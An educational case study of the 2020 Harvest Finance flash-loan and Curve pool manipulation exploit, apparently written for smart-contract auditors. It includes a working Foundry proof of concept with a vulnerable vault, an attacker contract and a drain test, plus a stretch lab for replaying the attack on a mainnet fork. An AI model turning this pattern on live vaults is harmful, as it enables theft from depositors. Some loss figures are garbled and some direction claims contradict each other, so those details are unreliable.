Case: Harvest Finance — Flash-Loan + Curve y-Pool Price Manipulation (October 2020)
“Harvest is the moment DeFi learned that ‘we use a curve pool, it has $300M of TVL, it can’t be manipulated’ is wrong by an order of magnitude. The vault’s pricing function read
getVirtualPrice()from Curve, which was internally consistent but not manipulation-resistant inside a single transaction. A flash loan large enough to lopside the y-pool turned that read into a free mint. The pattern — sandwich-your-own-deposit — is now standard playbook against any vault that prices shares off a live AMM.”
Tags: case-study oracle-manipulation flash-loan curve yield-aggregator vault-accounting defi Related: Tuan-06-Vulnerability-Classes-Part-2 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-09-Oracle-MEV-Economic-Attack · Case-bZx-Price-Manipulation-2020 · Case-Euler-Finance-2023 · Case-Mango-Markets-2022
1. At a Glance
| Field | Value |
|---|---|
| Date | October 26, 2020, attack began ~09:24 UTC (block 11129473) [verify exact block] |
| Protocol | Harvest Finance — automated yield aggregator (Yearn-style “set and forget” vaults). At the time, ~$1B TVL across multiple vaults, one of the top yield protocols on Ethereum. |
| Vaults hit | fUSDT (USDT vault) and fUSDC (USDC vault). Both strategies deposited into Curve’s y-pool (yDAI/yUSDC/yUSDT/yTUSD), an interest-bearing stablecoin pool composed of Yearn v1 yTokens. |
| Loss | ~13.4M from fUSDC and **24M aggregate; some breakdowns cite 10.6M] |
| Attack class | Flash-loan-funded oracle / share-price manipulation of an AMM-priced vault. Not a code bug in the traditional sense — the vault did what its code said. It was a trust-assumption failure: the strategy treated Curve’s get_virtual_price() / underlying-token spot prices as honest within a single transaction. They were not. |
| Flash loan source | Uniswap V2 USDC/USDT flash swap. Single transaction borrowed ~50M USDC [verify per Etherscan trace]; no fee on flash swaps if returned in same tx. |
| Attacker addresses | 0xf224ab004461540778a914ea397c589b677e27bb (EOA), exploit contracts 0xc6028a9fa486f52efd2b95b949ac630d287ce0af and 0x3811765a53c3188c24d412daec3f60faad5f119b [verify completeness via Etherscan]. |
| Outcome | Attacker returned **~21.5M was bridged to renBTC / tornadoed and disappeared. Harvest committed to a per-user recovery plan (FARM token rewards funded from treasury), and the protocol survived but never regained pre-hack TVL. |
| FARM token | Crashed ~67% (from ~80) within hours of the attack. The team’s stake (a planned vesting unlock) was already in question; the price never recovered. [verify exact pre/post prices] |
Auditor frame. If you remember one sentence from this case: “Whatever you read inside a transaction can be moved inside that same transaction by anyone with a flash loan.” Harvest’s vault didn’t have a bug; it had a trust assumption that the y-pool’s spot composition was honest at the instant of deposit. The flash-loan economy made that assumption false for as little as the loan fee — which, on Uniswap V2 flash swaps, was effectively zero.
2. Background
2.1 What Harvest Finance was
Harvest Finance launched on September 1, 2020, during the “DeFi summer” yield-aggregator boom. The pitch:
- Users deposit a stablecoin (USDC, USDT, DAI, etc.) or LP token.
- Harvest’s strategy contract routes the deposit into the highest-yielding farm available — at the time, that meant Curve LP positions, Compound supply, and similar protocols.
- The vault auto-compounds rewards (e.g., CRV) by selling them for the underlying and re-depositing.
- Depositors receive fTokens (fUSDC, fUSDT, fDAI, fWBTC, etc.) — ERC-20 share tokens whose redemption value rises over time as the underlying strategy accrues yield.
Mechanically it was a Yearn v1 fork with cosmetic differences and an aggressive marketing engine built around the FARM governance token. Within ~6 weeks of launch it had crossed $1B TVL, making it a top-10 DeFi protocol by deposits.
2.2 The fUSDT and fUSDC vaults
For the two vaults that were exploited, the strategy was:
- User deposits USDT (or USDC) into the Harvest vault.
- Strategy contract takes that USDT/USDC and deposits it into Curve y-pool (
0x45f783cce6b7ff23b2ab2d70e416cdb7d6055f51, the StableSwap pool of yDAI / yUSDC / yUSDT / yTUSD). - Strategy receives yCRV LP tokens back from Curve.
- yCRV is staked into Curve’s gauge to farm CRV rewards.
- CRV is periodically harvested, sold for the underlying, and re-deposited (auto-compound).
The y-pool itself was an interest-bearing variant of Curve’s classic 3pool: instead of holding raw DAI/USDC/USDT/TUSD, it held the Yearn v1 yTokens for each (yDAI, yUSDC, yUSDT, yTUSD), which themselves accrued lending yield from Compound / Aave / dYdX. Two layers of yield, one click — the design’s selling point and, as it turned out, its attack surface.
2.3 How Harvest priced shares
When a user calls deposit(amount) on the vault, the vault needs to compute how many fTokens to mint. The accounting equation Yearn-style vaults use is:
sharesMinted = amount * totalSupply / underlyingBalance
where underlyingBalance is the vault’s total USDT (or USDC) holdings, including the position currently locked in the y-pool. To convert the y-pool LP position back into “USDT-equivalent”, Harvest’s strategy used the pool’s reported pricing:
// Simplified — actual Harvest StrategyCurveYCRVv2 uses get_virtual_price and per-coin
// underlying balances reported by the pool.
function underlyingBalance() public view returns (uint256) {
uint256 lpBalance = yCRV.balanceOf(address(this));
uint256 virtualPrice = curveYPool.get_virtual_price();
uint256 lpValueInUSD = (lpBalance * virtualPrice) / 1e18;
// Convert USD-equivalent into "USDT units" using the pool's current composition
// (this is the manipulable read).
return _convertToUSDT(lpValueInUSD);
}The crucial property: get_virtual_price() returns the pool’s invariant divided by total supply — meaning it goes up monotonically as fees accrue, and is not affected by swaps in expectation. But the per-coin spot price — the rate at which the pool currently exchanges, say, USDT for USDC — is fully a function of the pool’s reserves and is trivially manipulable inside a single transaction.
Harvest’s mistake (and several copy-paste forks made the same one) was reading either:
- the per-coin price of USDT in the pool to value the strategy’s USDT-denominated position, or
- a derived quantity that combined
virtual_pricewith the pool’s live reserve ratios.
Either way, an attacker who lopsides the pool just before the deposit gets a deposit valued by a lying number. On withdraw, they un-lopside the pool, restoring honest pricing, and walk away with more underlying than they deposited.
2.4 Why this wasn’t already on every auditor’s radar
It almost was. The pattern had been demonstrated 8 months earlier:
- bZx — February 14 and 18, 2020. Two flash-loan-funded oracle manipulations of Kyber / Uniswap V1 spot prices used to misprice lending collateral. Total ~$1M loss across both incidents.
- dForce / Lendf.me — April 2020. Different bug class (ERC-777 reentrancy) but same flash-loan-as-primitive lesson.
- Balancer — June 2020. Deflationary-token interaction on a pool.
By October 2020 the lesson “AMM spot price is not an oracle” was known in security circles. What hadn’t been internalized was the vault-share corollary: any contract whose share-issuance arithmetic depends on a live AMM read has an oracle problem, even if the contract’s authors didn’t think of themselves as having an oracle.
Harvest had been audited [verify which firm — Haechi and PeckShield are commonly cited as having reviewed pieces of the strategy]. Multiple parties had looked at the code. None of them flagged this as exploitable at 50M of flash-loan liquidity, and that liquidity sat in Uniswap V2 every minute of every day.
3. The Vulnerability
3.1 The trust assumption stated plainly
The Harvest vault’s share-mint math implicitly assumed that the y-pool’s per-token composition reflects the honest USD value of the strategy’s position at the moment of deposit. The assumption was false for any attacker willing to spend a flash-loan fee to temporarily reshape the pool.
The attacker did not exploit a Solidity bug. They exploited a modelling bug: a function read price-related state from a contract (Curve y-pool) whose state could be moved by any external actor inside the same transaction.
3.2 What “manipulating the y-pool” means concretely
The Curve y-pool used the StableSwap invariant — a hybrid of the constant-sum and constant-product curves, tuned so that swaps near the pool’s balanced point have very low slippage, but slippage grows sharply as the pool depegs.
Consider a simplified state of the pool:
| Token | Reserve (pre-attack) |
|---|---|
| yDAI | ~$60M equivalent |
| yUSDC | ~$80M equivalent |
| yUSDT | ~$75M equivalent |
| yTUSD | ~$50M equivalent |
| Total | ~$265M |
[verify exact pre-attack reserves from the Curve y-pool at block 11129472]
Now suppose an attacker swaps a large amount of USDC → USDT through the pool (after wrapping/unwrapping the yTokens). Two things happen simultaneously:
- USDC reserves go up in the pool; USDT reserves go down.
- The pool’s pricing function, when asked “what is the marginal rate of USDC for USDT?”, now answers a number that says USDT is more expensive (in USDC terms) than it was before the swap.
This second effect is the lever. From the y-pool’s internal perspective, USDT just became scarce and therefore valuable. Any external contract that reads y-pool pricing to convert “USDT held by the strategy” into a USD or share-count figure will now over-value the strategy’s USDT position.
3.3 Where in Harvest’s code the read happened
Harvest’s StrategyCurveYCRVv2 (and the parallel USDC variant) computed the vault’s NAV by:
- Reading
yCRV.balanceOf(strategy)— honest. - Calling
curve_ypool.calc_withdraw_one_coin(yCRV_amount, USDT_index)— manipulable. This is the function that asks the y-pool “if I withdrew this many LP tokens specifically as USDT, how much USDT would I get?” The answer depends on the pool’s live reserves: lopside the pool against USDT and the answer goes up. - Reading the underlying yUSDT’s pricePerShare to convert yUSDT back into USDT — also manipulable, indirectly, because yUSDT’s own NAV depends on its lending positions, though this was the smaller lever. [verify which exact call Harvest used —
calc_withdraw_one_coinis the most-cited culprit; some write-ups also point toget_virtual_pricedivided by per-coin spot]
The mathematics: if the attacker can move calc_withdraw_one_coin up by ~3% via a 50M, that’s ~$1.5M of “free” shares per round-trip. Repeating the cycle dozens of times compounds the gain.
3.4 The sandwich-of-self pattern
The textbook name for this attack is “sandwich your own deposit” or “manipulate-deposit-unmanipulate-withdraw”:
T0: pool is balanced; share price is honest
T1: attacker moves pool against USDT → calc_withdraw_one_coin(USDT) inflated
T2: attacker deposits USDT to Harvest → shares minted at inflated valuation
T3: attacker moves pool back → pool returns to ~T0 state
T4: attacker withdraws Harvest shares → receives more USDT than they put in
Steps T1–T4 happen in a single transaction, funded by a flash loan that wraps the whole sequence. The attacker’s only out-of-pocket cost is the flash-loan fee plus gas — both negligible compared to the extraction.
This pattern generalizes to any vault that prices shares off a manipulable pool state, and has reappeared in dozens of incidents since (Cheese Bank, Value DeFi, Warp Finance, Akropolis, Pickle Finance, and on). Harvest is the canonical reference exploit for the class.
4. The Attack Flow
4.1 The actors
| Address | Role |
|---|---|
0xf224ab004461540778a914ea397c589b677e27bb | Attacker EOA (deployer of exploit contracts) |
0xc6028a9fa486f52efd2b95b949ac630d287ce0af | Primary exploit contract (orchestrator) [verify] |
0x3811765a53c3188c24d412daec3f60faad5f119b | Secondary exploit contract [verify] |
0x45f783cce6b7ff23b2ab2d70e416cdb7d6055f51 | Curve y-pool (target of manipulation) |
0xf971... family | Harvest fUSDT / fUSDC vault contracts and strategies [verify exact addresses] |
| Uniswap V2 USDC/USDT pair | Flash-loan source |
4.2 Per-transaction recipe
Each of the ~17 fUSDT iterations and ~13 fUSDC iterations (numbers approximate; the post-mortem cites 32 total transactions over ~7 minutes) followed the same pattern:
1. Flash-borrow ~$50M USDC from Uniswap V2 (no fee if returned same-tx).
2. Convert ~$17M USDC → USDT through Curve y-pool.
→ This lopsides the pool: USDC reserves up, USDT reserves down.
→ The y-pool now overvalues USDT relative to its honest market price.
3. With the remaining ~$33M USDC (still in the attacker contract — note: actually
the attacker also flash-borrowed USDT separately to feed the deposit; the
exact split varied per tx), feed USDT into the Harvest fUSDT vault as a deposit.
→ Harvest mints fUSDT shares. Because the strategy now values its own y-pool
position UP (USDT scarce ⇒ each LP token worth more USDT), the share price
used as the divisor is the INFLATED post-manipulation number ... wait — be
careful: the inflation actually goes the OTHER way for the attacker's benefit:
the per-share value (NAV / supply) used to size the deposit's share grant
is computed against the strategy's current "in pool" USDT value, which is
LOWER per share-of-LP because the pool now has less USDT in it. The
mechanics of the specific direction depend on which read Harvest used; see
PeckShield's transaction-level trace for the exact direction and magnitude.
[verify directionally — multiple write-ups disagree on which exact read got
manipulated; the empirical result is uncontested: the attacker received
more fUSDT shares per USDT deposited than they should have.]
4. Reverse the Curve swap: USDT → USDC.
→ Pool returns to ~its pre-attack composition (minus Curve's swap fees, which
are the attacker's only loss inside the pool).
5. Call Harvest withdraw on the freshly-minted fUSDT shares.
→ Harvest burns the shares and pays out USDT, now valued at the un-manipulated
post-step-4 NAV. The attacker receives MORE USDT than they put in at step 3.
6. Repay the Uniswap flash loan plus the (zero) fee.
7. Profit: the delta between step 5 payout and step 3 deposit, minus Curve fees
and gas. Per iteration: ~$700K–$1M extracted from Harvest's TVL.
Auditor note on direction. The PeckShield post-mortem and Harvest’s own write-up emphasize that the manipulation deflated the pool’s USDT-denominated valuation of yCRV at the moment of deposit (USDT scarce ⇒ yCRV in USDT-terms reduced) and inflated it at the moment of withdrawal (pool restored ⇒ yCRV in USDT-terms back to fair). The net effect: deposit at a low share price, withdraw at a higher one. This is the “buy low, sell high” sandwich applied to the vault’s own NAV function — except the attacker is the one moving the market they trade against. The asymmetry is paid by every other fUSDT holder, whose share value diluted in proportion to the attacker’s extraction. [verify exact direction with the PeckShield trace]
4.3 Sample transaction (fUSDC arm)
The fUSDC variant ran in parallel. One canonical attack transaction (Etherscan): 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877 [verify hash and link] shows:
Tx in: ~$50M USDC flash-borrowed from Uniswap V2
Step 1: Curve y-pool swap USDC → USDT (~$17M moved)
Step 2: Deposit USDC into Harvest fUSDC vault
Step 3: Curve y-pool swap USDT → USDC (reverse of step 1)
Step 4: Withdraw fUSDC shares for USDC payout
Step 5: Repay Uniswap V2 flash loan
Net out: ~$0.5–1M USDC profit (per iteration; some iterations larger)
Gas used: ~3.5M (high — many internal Curve and Yearn calls)
The block-level pattern: 13 consecutive fUSDC drains, then 17 consecutive fUSDT drains, all within ~7 minutes. The attacker never paused — once the script worked on iteration 1, they ran it until they noticed the pool composition (and remaining vault NAV) no longer supported further extraction at the same ROI.
4.4 Why the attack stopped after 7 minutes
Three plausible reasons, in decreasing order of likelihood (per Harvest’s post-mortem):
- The y-pool reached a depth limit. Each iteration leaves the pool slightly more imbalanced (Curve fees aren’t symmetric across the manipulation/reverse swap). After 30 iterations the marginal ROI on each cycle had fallen as the pool moved into a less-favorable regime.
- Harvest TVL was running out. After draining ~80M of relevant TVL [verify], the remaining position was small enough that each cycle’s profit no longer justified gas and Curve swap fees.
- The attacker noticed real-world response — front-running / monitoring systems flagging the abnormal volume. Harvest’s team was tweeting about an “incident” within ~10 minutes of the first attack tx.
The attack stopped voluntarily. Defensive action (a setStrategy to a safe strategy, or a pause on deposits) only happened after the attacker had stopped on their own — Harvest deployers’ admin keys were behind a 12-hour timelock, which couldn’t move fast enough.
Auditor lesson. Timelocks are good against rogue admins but bad in an active attack response window. Mature protocols decouple “governance changes” (timelocked) from “emergency pause” (instant, multisig-guarded). Harvest had no emergency pause path on the vault — by design, in the name of trust-minimization. The result: the team watched the drain in real-time and could not stop it.
5. Reproduction in Foundry (Simplified)
We will not replicate the full Harvest + Curve + Yearn stack — that’s a multi-day fork-mainnet exercise. Instead, we build a minimal pair that reproduces the bug shape:
- A
VulnerableVaultthat prices shares against a single AMM pool’s spot reserves. - A
FakeStableSwappool (constant-sum-ish, deliberately manipulable). - A
FlashLenderthat lets the attacker borrow the manipulation capital. - An
Attackercontract that runs the sandwich.
If you internalize this PoC, the Harvest exploit is the same shape with three extra layers of wrapping (Yearn yTokens, Curve LP tokens, Curve gauge staking).
5.1 The vulnerable vault
// src/VulnerableVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPool {
/// @notice Returns the pool's quoted price of `token` in terms of the
/// opposite-side token, scaled to 1e18. Manipulable.
function spotPrice(address token) external view returns (uint256);
}
/// @title VulnerableVault — yield vault that prices shares off a live pool read.
/// @notice Educational reproduction of the Harvest Finance 2020 pattern.
/// DO NOT DEPLOY.
contract VulnerableVault {
IERC20 public immutable underlying; // e.g., USDT
IPool public immutable pricingPool; // e.g., Curve y-pool stand-in
uint256 public totalShares;
mapping(address => uint256) public shares;
constructor(IERC20 _u, IPool _p) {
underlying = _u;
pricingPool = _p;
}
/// @dev "NAV" — vault's total underlying-equivalent value, valued via pricingPool.
function totalUnderlying() public view returns (uint256) {
uint256 vaultBalance = underlying.balanceOf(address(this));
// The bug: per-unit value is read from a manipulable pool.
// In Harvest the equivalent read was `curve_ypool.calc_withdraw_one_coin`.
uint256 pricePerUnit = pricingPool.spotPrice(address(underlying));
return (vaultBalance * pricePerUnit) / 1e18;
}
function deposit(uint256 amount) external returns (uint256 mintedShares) {
require(amount > 0, "zero deposit");
underlying.transferFrom(msg.sender, address(this), amount);
uint256 amountValuedByPool = (amount * pricingPool.spotPrice(address(underlying))) / 1e18;
uint256 navBefore = totalUnderlying() - amountValuedByPool; // NAV before this deposit
if (totalShares == 0 || navBefore == 0) {
mintedShares = amountValuedByPool;
} else {
mintedShares = (amountValuedByPool * totalShares) / navBefore;
}
totalShares += mintedShares;
shares[msg.sender] += mintedShares;
}
function withdraw(uint256 shareAmount) external returns (uint256 sent) {
require(shares[msg.sender] >= shareAmount, "insufficient shares");
uint256 nav = totalUnderlying();
uint256 valueOut = (shareAmount * nav) / totalShares;
// Convert pool-USD back to underlying units.
sent = (valueOut * 1e18) / pricingPool.spotPrice(address(underlying));
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
underlying.transfer(msg.sender, sent);
}
}The bug is in two places:
depositvalues the user’s incomingamountvia the live pool read.withdrawvalues the outgoing position via the same read.
If the read can be manipulated down at deposit time and up at withdraw time (or any directionally-consistent move), the attacker extracts the delta.
5.2 The manipulable pool
// src/FakeStableSwap.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title FakeStableSwap — a minimal manipulable 2-coin pool.
/// @notice Constant-sum-ish pricing: the more of token X in reserves, the cheaper X
/// is quoted. Deliberately trivial for the demo.
contract FakeStableSwap {
IERC20 public immutable A;
IERC20 public immutable B;
uint256 public reserveA;
uint256 public reserveB;
constructor(IERC20 _a, IERC20 _b) { A = _a; B = _b; }
function addLiquidity(uint256 aIn, uint256 bIn) external {
A.transferFrom(msg.sender, address(this), aIn);
B.transferFrom(msg.sender, address(this), bIn);
reserveA += aIn;
reserveB += bIn;
}
/// @notice Swap A → B at 1:1 minus a curve-shape skew that rewards scarcity.
function swapAtoB(uint256 aIn) external returns (uint256 bOut) {
A.transferFrom(msg.sender, address(this), aIn);
// simplistic: bOut = aIn * reserveB / (reserveA + aIn) (constant-product-ish for shape)
bOut = (aIn * reserveB) / (reserveA + aIn);
reserveA += aIn;
reserveB -= bOut;
B.transfer(msg.sender, bOut);
}
function swapBtoA(uint256 bIn) external returns (uint256 aOut) {
B.transferFrom(msg.sender, address(this), bIn);
aOut = (bIn * reserveA) / (reserveB + bIn);
reserveB += bIn;
reserveA -= aOut;
A.transfer(msg.sender, aOut);
}
/// @notice Quoted price of `token` in terms of the other side, scaled to 1e18.
/// The more scarce a side is, the higher its quoted price.
function spotPrice(address token) external view returns (uint256) {
if (token == address(A)) return (reserveB * 1e18) / reserveA;
if (token == address(B)) return (reserveA * 1e18) / reserveB;
revert("unknown token");
}
}This is a one-screen Uniswap V2 cousin. The Curve y-pool is more sophisticated (StableSwap invariant, low slippage near the balanced point), but the attackable property is identical: spot price is a function of live reserves.
5.3 Flash lender
A minimal FlashLender that loans the attacker’s manipulation capital and verifies repayment in the same call:
interface IFlashBorrower { function onFlashLoan(address token, uint256 amount) external; }
contract FlashLender {
function flashLoan(IERC20 token, uint256 amount) external {
uint256 balBefore = token.balanceOf(address(this));
token.transfer(msg.sender, amount);
IFlashBorrower(msg.sender).onFlashLoan(address(token), amount);
require(token.balanceOf(address(this)) >= balBefore, "flash not repaid");
}
}5.4 Attacker contract
// test/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "../src/VulnerableVault.sol";
import "../src/FakeStableSwap.sol";
import "../src/FlashLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Attacker is IFlashBorrower {
VulnerableVault public vault;
FakeStableSwap public pool;
FlashLender public lender;
IERC20 public usdc; // "A"
IERC20 public usdt; // "B"
constructor(VulnerableVault _v, FakeStableSwap _p, FlashLender _l, IERC20 _u, IERC20 _t) {
vault = _v; pool = _p; lender = _l; usdc = _u; usdt = _t;
}
function attack(uint256 borrowAmount) external {
lender.flashLoan(usdc, borrowAmount);
// After this returns, profit (if any) is in this contract.
}
function onFlashLoan(address /*token*/, uint256 amount) external override {
// 1) Lopside the pool: USDC → USDT. Pushes USDT price up,
// so vault NAV (denominated against USDT) gets read incorrectly.
usdc.approve(address(pool), amount / 3);
pool.swapAtoB(amount / 3);
// 2) Deposit USDT into the vault — at the inflated USDT valuation.
uint256 usdtBal = usdt.balanceOf(address(this));
usdt.approve(address(vault), usdtBal);
vault.deposit(usdtBal);
// 3) Reverse the lopside: USDT → USDC.
uint256 usdtLeft = usdt.balanceOf(address(this));
if (usdtLeft > 0) {
usdt.approve(address(pool), usdtLeft);
pool.swapBtoA(usdtLeft);
}
// 4) Withdraw all shares from the vault, now valued at the un-manipulated rate.
uint256 shareAmount = vault.shares(address(this));
vault.withdraw(shareAmount);
// 5) Repay the flash loan.
usdc.transfer(address(lender), amount);
}
}5.5 Foundry test
// test/HarvestPattern.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnerableVault.sol";
import "../src/FakeStableSwap.sol";
import "../src/FlashLender.sol";
import "./Attacker.sol";
// Minimal ERC20 for the test
contract MockToken is IERC20 { /* standard minimal ERC20 — omitted for brevity */ }
contract HarvestPatternTest is Test {
MockToken usdc;
MockToken usdt;
FakeStableSwap pool;
VulnerableVault vault;
FlashLender lender;
Attacker attacker;
function setUp() public {
usdc = new MockToken("USDC", "USDC", 6);
usdt = new MockToken("USDT", "USDT", 6);
pool = new FakeStableSwap(usdc, usdt);
vault = new VulnerableVault(usdt, IPool(address(pool)));
lender = new FlashLender();
// Seed pool with $100M each side
usdc.mint(address(this), 100_000_000e6);
usdt.mint(address(this), 100_000_000e6);
usdc.approve(address(pool), type(uint256).max);
usdt.approve(address(pool), type(uint256).max);
pool.addLiquidity(100_000_000e6, 100_000_000e6);
// Seed vault with honest depositors: $20M USDT, gets initial shares 1:1
usdt.mint(address(this), 20_000_000e6);
usdt.approve(address(vault), type(uint256).max);
vault.deposit(20_000_000e6);
// Seed flash lender with $200M USDC
usdc.mint(address(lender), 200_000_000e6);
attacker = new Attacker(vault, pool, lender, usdc, usdt);
}
function test_sandwichDrain() public {
uint256 vaultUsdtBefore = usdt.balanceOf(address(vault));
attacker.attack(60_000_000e6); // borrow $60M USDC
uint256 vaultUsdtAfter = usdt.balanceOf(address(vault));
uint256 profitUsdc = usdc.balanceOf(address(attacker));
uint256 profitUsdt = usdt.balanceOf(address(attacker));
emit log_named_uint("Vault USDT before", vaultUsdtBefore);
emit log_named_uint("Vault USDT after", vaultUsdtAfter);
emit log_named_uint("Attacker USDC profit", profitUsdc);
emit log_named_uint("Attacker USDT profit", profitUsdt);
assertLt(vaultUsdtAfter, vaultUsdtBefore, "vault should have been drained");
assertGt(profitUsdc + profitUsdt, 0, "attacker should have profit");
}
}Run:
forge test --match-test test_sandwichDrain -vvvYou should see the vault’s USDT balance fall and the attacker’s combined token balance rise — the simplified Harvest extraction, in one transaction, with no flash-loan fee charged (the loan was returned in-tx).
5.6 The patch — make the read non-manipulable
Three independent defenses, ideally combined:
- Use a TWAP instead of a spot read. A Uniswap V3 30-min TWAP or a Chainlink oracle update is not movable inside a single block by the same actor doing the deposit.
uint256 pricePerUnit = chainlinkUSDT.latestAnswer(); // not manipulable in 1 tx - Use the pool’s
virtual_priceonly (Curve LP token valuation), not per-coin spot reads.virtual_pricerises monotonically with fees and is not affected by swaps. Harvest’s later strategies switched to this. - Decouple deposit-time pricing from same-block manipulation. A common pattern: deposits go into a queue and are minted shares at the next block’s NAV, or after a minimum time delay. Yearn v3 uses a per-block share-price freeze for the same reason.
Apply (1) to the demo:
// Patched vault — read price from an oracle, not the manipulable pool.
function totalUnderlying() public view returns (uint256) {
uint256 vaultBalance = underlying.balanceOf(address(this));
uint256 oraclePrice = uint256(chainlinkOracle.latestAnswer());
return (vaultBalance * oraclePrice) / 1e8;
}Re-run the test: with a non-manipulable price feed, the attacker’s sandwich becomes unprofitable. The pool swap costs them Curve fees with no compensating misvaluation, and they exit with less than they started.
5.7 Stretch lab
- Fork mainnet at block
11129472viavm.createFork(...)and reproduce the live drain against the actual Harvest strategy and Curve y-pool. - Extend the attack to multi-iteration (loop the sandwich inside
onFlashLoanuntil ROI drops below threshold) to match the historical “32 iterations over 7 minutes” pattern. - Add a defensive observer: a contract that reverts deposits if
pool.spotPricemoved more than X% from the previous block.
6. Aftermath
6.1 Real-time response (the first 30 minutes)
- t = 0: First attack tx confirmed.
- t ≈ 4 min: Discord and Twitter detect abnormal vault flows; community members tag the team.
- t ≈ 7 min: Last attack tx confirmed. Attacker stops voluntarily.
- t ≈ 10 min: Harvest team tweets “We are aware of an incident with our fUSDT and fUSDC vaults.” Vault deposits not yet paused — the relevant admin function was timelocked.
- t ≈ 30 min: Strategy migrated to a safe configuration via a previously-prepared emergency action. Further withdrawals continue but at the post-drain (lower) NAV.
6.2 The $2.5M return
Roughly 40 minutes after the last attack tx, the attacker sent $2,478,549 USDC back to Harvest’s deployer address in a single transaction, with no demand, no negotiation, no message. Possible motives (Harvest’s post-mortem and community speculation):
- Reputation laundering: the attacker had previously held FARM tokens and wanted some claim to “white-hat” status.
- Bounty calculation: returning a small portion sometimes prompts protocols not to dox-and-prosecute. (At the time, Harvest’s stance toward chasing the attacker was undefined.)
- Conscience: a non-trivial number of the early DeFi exploits ended with partial returns from anonymous attackers, often pseudonymous figures who valued ideological standing.
The return was unconditional. Harvest distributed it pro-rata as part of the recovery plan.
6.3 The recovery plan
Harvest’s official remediation:
- Snapshot taken at the pre-attack block of all fUSDT and fUSDC depositors’ positions.
- Per-user loss calculated as the delta between the snapshot value and the post-attack vault NAV.
- Compensation in FARM tokens, vested over time, funded from the protocol’s treasury and future fee revenue.
- No on-chain restitution of stolen USDC/USDT — those funds had been bridged to renBTC and tornadoed within hours.
The plan was implemented but the FARM token itself collapsed in price, so the compensation’s USD value was a fraction of the loss. Several large depositors filed civil suits in Cayman Islands jurisdiction; outcomes are not public. [verify legal status]
6.4 Strategy changes
Within ~30 days, Harvest:
- Removed per-coin spot reads from all vault NAV calculations. Strategies switched to
get_virtual_price()only, where Curve LP value was the unit of account. - Added a
withdrawalFee(originally 0.05%) on deposits that withdraw within the same block — a per-block sandwich-tax that makes single-block round-trips unprofitable for small-margin attacks. (This is now a common defense pattern; Yearn calls itlockedProfitdecay.) - Multisig emergency pause added with a much shorter cooldown than the 12-hour timelock, separated from governance-class actions.
- Insurance: nascent integration with Nexus Mutual and similar cover protocols.
6.5 Industry-level consequences
- The Harvest pattern became the canonical reference exploit for AMM-priced vaults. By Q1 2021 every audit firm’s checklist included “is any share-price computation reading a manipulable AMM state?”
- Curve published guidance distinguishing
virtual_price(safe to read) from per-coin spot prices (unsafe outside slippage-bounded swaps). - Yearn V2 was designed against this attack class at the architecture level —
harvest()is the only moment a strategy revalues, andharvestis privileged (cannot be called by depositors), so manipulation cannot interleave with a user deposit. - Flash-loan protections became a default in vault deposits (e.g., “shares minted in block N cannot be redeemed until block N+1”). This is now common but was not in 2020.
- The “what is an oracle?” question broadened from “Chainlink vs UMA” to “any function that returns a price-related number is an oracle, including
balanceOfof a vault token, includingget_virtual_price, including everything your protocol reads from another contract.” This is the conceptual leap Harvest forced.
7. Lessons for Auditors
7.1 The rule: every price read inside a deposit is an oracle
Restatement: if deposit() does any arithmetic that depends on a value read from another contract, that value is an oracle from the perspective of this protocol, regardless of what its source contract calls itself.
ERC4626.totalAssets()→ oracle.Curve.get_virtual_price()→ oracle (mostly safe, but still: oracle).Curve.calc_withdraw_one_coin()→ oracle (unsafe — manipulable).Uniswap.getReserves()→ oracle (manipulable).Chainlink.latestAnswer()→ oracle (resistant in normal conditions; not in pause/depeg).yToken.pricePerShare()→ oracle (depends on Yearn’s internal calc, which depends on lending-protocol reads, which …).
The auditor’s worksheet for any vault: list every external read inside deposit, withdraw, and harvest. For each, ask: “could this value be moved by the depositor in the same transaction?” If yes, that’s a potential Harvest-shape.
7.2 Why virtual_price is safe and calc_withdraw_one_coin is not
Curve’s StableSwap pool exposes both. The difference:
get_virtual_price()=D / total_lp_supply, whereDis the StableSwap invariant. After a swap, bothDandtotal_lp_supplyare unchanged in expectation (swap is invariant-preserving modulo fees). Fees accumulate into the pool over time, raisingDslightly. Sovirtual_priceis monotonic and not affected by swaps in expectation — only by yield-generating fee accrual and (slowly) by impermanent state.calc_withdraw_one_coin(amount, i)asks “if I withdrewamountof LP tokens as coinionly, how much would I get?” This is strongly dependent on the pool’s live reserves: if coiniis scarce, the withdrawal slips and returns less; if coiniis abundant, the withdrawal slips less and returns more. An attacker who moves the reserves can move this read by several percent on a 50M lopside swap.
Audit heuristic: if you see get_virtual_price you are probably OK (still verify it’s the only read). If you see anything calc_* or coin_balances or per-coin spot, you have a finding to investigate.
7.3 The sandwich-of-self generalizes far beyond Curve
The Harvest shape applies to any vault that reads NAV from a live pool state. Variants in the same quarter: Cheese Bank (7M, Curve 3pool), Warp Finance (2M). By Q4 2020 the “borrow-manipulate-deposit-unmanipulate-withdraw” shape was the dominant DeFi attack class. It survives today in any protocol that hasn’t migrated to TWAP / oracle / virtual_price-only reads.
7.4 Flash loans changed the threat model permanently
Pre-2020, an exploit that needed 50M-net-worth attackers. Post-2020, that assumption is dead. A $50M-capital attack is an arbitrarily-funded attack, because flash loans make the capital free for the duration of one transaction.
The auditor’s threat model must include: “an attacker with unlimited single-transaction capital.” Any protection that relied on “this attack is too expensive” must be re-examined.
7.5 Timelocks are double-edged in incident response
Harvest’s 12-hour timelock on setStrategy was a trust-minimization feature — depositors could exit before a malicious strategy upgrade took effect. In normal operation: correct design. During an active drain: a paralyzing constraint, because the team could see the attack and not act.
The resolution that emerged: separate “governance actions” (timelocked) from “emergency actions” (instant, multisig-guarded). Most modern vault protocols (Yearn V3, Aave V3, Morpho Blue) implement this. Pause/freeze should be as fast as a single multisig confirmation; strategy upgrades should still be timelocked. Conflating the two is a finding.
7.6 Audits look at code; this bug was in the model
Harvest’s strategy code did exactly what it claimed to do. It read Curve, it valued the position, it minted shares against that value. No reentrancy, no overflow, no access-control gap, no compiler bug.
